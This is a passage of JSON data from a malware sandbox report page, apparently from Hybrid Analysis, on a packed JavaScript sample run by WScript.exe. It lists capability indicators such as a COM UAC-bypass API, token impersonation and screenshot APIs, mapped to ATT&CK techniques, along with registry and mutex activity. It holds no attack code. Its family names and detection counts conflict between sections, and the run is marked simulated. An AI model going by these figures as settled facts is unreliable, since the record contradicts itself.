references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE0725D17C250C413D5C5424D00B79]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp\")\n Found string \"ncalrpc\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"WScript.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"50399396\"\n \"cx\": \"16\"\n \"cy\": \"16\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00006996.00000000.69007.B8E92000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileWWL\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006996.00000000.69007.0C860000.00000002.mdmp\")\n Found reference to API \"DeleteFileWW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CRYPT32\"; Key: \"DIAGLEVEL\"; Value: \"\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CRYPT32\"; Key: \"DIAGMATCHANYMASK\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00006996.00000000.69007.B98C8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$3c","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/59 Antivirus vendors marked sample as malicious (6% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"suspicious","category":"General","name":"Executes a JavaScript file","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\url.js\"\" (UID: 00000000-00006996)","origin":"Monitored Target","mitre_attack_id":"T1059.007","relevance":10,"id":"target-167","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - CRC-32 algorithm","description":"YARA signature for CRC-32 algorithm matched on process \"00000000-00006996\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-111","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Detected minified/packed Javascript","description":"Found unreasonably high ratio of syntax chars to descriptors (38%, 6107/32612)","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-61","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"level":"malicious","category":"Network Related","name":"Making HTTPS connections using insecure TLS/SSL version","description":"Connection was made using TLSv1.1 [tls.handshake.version: 0x00000302]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":10,"id":"network-53","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":61,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":0,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Simulated analysis"],"sandbox_reports":[{"id":"64e1ea73c6a587608708addf","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Script","submit_name":"url","analysis_start_time":"2023-08-20T10:27:00+00:00","indicators_count":{"informative":127,"suspicious":4,"malicious":1},"tags":["Simulated analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}],"processes":[{"pid":6996,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\url.js\"","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00006996","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABIklEQVR4Xs2Siw7DIAhF/XQ/rX+25cYxkV58FbOdxLRFhQNbSoqc8yt66fxDcCGSvxBYkjghcF3XvMQJATAtcUoATEn0BOT3nFn6jq3RxRMo8WSi9290KbnM5hd95gYTkFjOia5CLS5TwHvNUlkS4J1b2uJ4l4WYPb0h0O/eK+5JbAn4+N2HCtjOvQnYfEDn0+cpnsAdyVsn0Gx3WBIAJXbvnk2hvcnZFAC1a/aclVgWAOP/wrzElgCImsS2AIiYxCMB8HQSQQK8qH0yiW0B7I0WcmiJMAEvbju1EiECJdbkaNDFC8ETYIn1sxXge59gE6P4Ary4LaTPsuI6TmECAHFc7C2cQQ75xrvNA7YEgD07wt4XtgWi+H8B+9ueWLbuT3kDb24C8Zv/GpsAAAAASUVORK5CYII="}],"all_imported_dlls":["KernelBase.dll","ole32.dll","profapi.dll","wldp.dll","msvcrt.dll","gdi32.dll","crypt32.dll","shell32.dll","sppc.dll","userenv.dll","rpcrt4.dll","user32.dll","sxs.dll","uxtheme.dll","msisip.dll","gdi32full.dll","msvcp_win.dll","kernel.appcore.dll","Btow48XJ.dll","bcrypt.dll","CoreMessaging.dll","powrprof.dll","MpClient.dll","gpapi.dll","kernel32.dll","ucrtbase.dll","sechost.dll","version.dll","fltLib.dll","jscript.dll","shlwapi.dll","amsi.dll","cryptsp.dll","MpOAV.dll","msasn1.dll","slc.dll","combase.dll","bcryptprimitives.dll","clbcatq.dll","coml2.dll","cfgmgr32.dll","WinTypes.dll","ntdll.dll","advapi32.dll","ws2_32.dll","rsaenh.dll","windows.storage.dll","ntmarta.dll","win32u.dll","VxSSL64.dll","dwmapi.dll","wshext.dll","SHCore.dll","wintrust.dll","oleaut32.dll","imm32.dll","TextInputFramework.dll","CoreUIComponents.dll","cryptbase.dll","scrobj.dll","msctf.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":null,"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6996:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6996:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"name":"SM0:6996:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]},{"name":"Local\\SM0:6996:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64e1ea73c6a587608708addf"}]}]}},"report_ids":{"sandbox_job_ids":["64e1ea73c6a587608708addf"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 9fe97ae18c45… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 9fe97ae18c45…. Malware family: Trojan.Generic. Threat score 100/100. 2/27 AV engines flagged this file. 1 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/9fe97ae18c45e22fe76b8bd5165d0e152bec464d92ef5f7319b1723aba1c0edb"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 9fe97ae18c45… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 9fe97ae18c45…. Malware family: Trojan.Generic. Threat score 100/100. 2/27 AV engines flagged this file. 1 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/9fe97ae18c45e22fe76b8bd5165d0e152bec464d92ef5f7319b1723aba1c0edb"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 9fe97ae18c45… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 9fe97ae18c45…. Malware family: Trojan.Generic. Threat score 100/100. 2/27 AV engines flagged this file. 1 malicious and 4 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3d","11",{}]]